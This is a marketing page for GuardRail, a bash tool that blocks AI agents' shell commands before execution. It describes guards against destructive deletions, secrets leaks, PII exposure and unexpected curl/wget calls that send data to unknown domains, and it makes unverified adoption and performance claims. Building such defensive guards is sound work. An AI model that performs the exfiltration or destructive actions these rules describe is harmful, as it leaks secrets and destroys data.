1,500+ installs/month
Pre-execution command interception trusted by 1,500+ developers. Blocks destructive ops, secrets leaks, and PII exposure at the shell level. Try Pro free for 14 days.
Each guard solves one specific problem. No ML, no prompt engineering. Pattern matching at the command level.
Blocks commands that delete files, drop databases, or reset git history without confirmation.
Prevents API keys, tokens, and credentials from appearing in command output or being piped to external services.
Detects personally identifiable information in command arguments and blocks transmission to external endpoints.
Monitors outbound connections. Flags unexpected curl/wget calls to unknown domains with payload data.
Prevents force-pushes to protected branches, hard resets on shared branches, and hook bypasses.
Blocks container removal on production services. Requires explicit confirmation for any destructive Docker operation.
GuardRail intercepts at the shell level. No SDK, no wrapper, no proxy. Pure bash.
Hook into your AI agent's shell dispatcher. Every command passes through GuardRail before execution. Zero latency overhead.
Pattern matching against 20 guard rules. No ML, no API calls. Deterministic decisions in under 5ms. Blockers halt, detectors warn.
Blocked commands return non-zero with a clear message. Audit trail logs every decision. Override with explicit confirmation when needed.
Most tools analyze output. GuardRail blocks the command before it runs.
| Capability | GuardRail | Guardrails AI | Prompt Armor | DIY hooks |
|---|---|---|---|---|
| Pre-execution blocking | Yes | No | No | Manual |
| Shell-level interception | Yes | SDK only | API only | Partial |
| Zero dependencies | bash+jq | Python | Cloud | Varies |
| Secrets detection | 12 patterns | Basic | Yes | Manual |
| PII protection | Yes | Output only | Yes | No |
| Latency | <5ms | 50-200ms | 100-500ms | <5ms |
| Audit trail | Yes | Yes | Yes | Manual |
| Open source | MIT | Apache | No | N/A |
Step 1: Install 20 core guards
Step 2: Unlock 48 Pro guards free for 14 days
No credit card. No account. Just run it.
Requires bash 4+, jq. Linux and macOS. Works with Claude Code, Cursor, Aider, and any shell-based agent.
Real results from production systems.
The full guard suite is MIT licensed. Pro adds enterprise features and support.
For individual developers.
For teams running agents in production.
No credit card required
For organizations with compliance needs.
20 production-tested guards, 4 skill runbooks, dispatcher templates, and a complete CLAUDE.md. Everything you need to set up AI governance in your team. Extracted from a system that ran 1,094 autonomous tasks with zero data loss.
Guards + Skills + Hooks + Documentation. Plug and play.
Get the Starter KitIncludes: 20 guards, 3 dispatchers, 4 skills, CLAUDE.md template, settings.json example, customization guide.
30 lessons from 14 months of running autonomous AI agents in production. Learn the complete GRIP framework, build your own guard system, and set up EU AI Act compliance.
The system behind 86 containers, 177 guards, and 63 AI skills. Lifetime access.
Learn More6 modules, 30 lessons. Guards, Reinforcement, Intelligence, Protocol, Compliance, Autonomous Ops.
The Book
GuardRail was built over 14 months as a solo founder. The book shows the complete system: GRIP framework, Crystallization Loop, 177 guards and the architecture behind it all.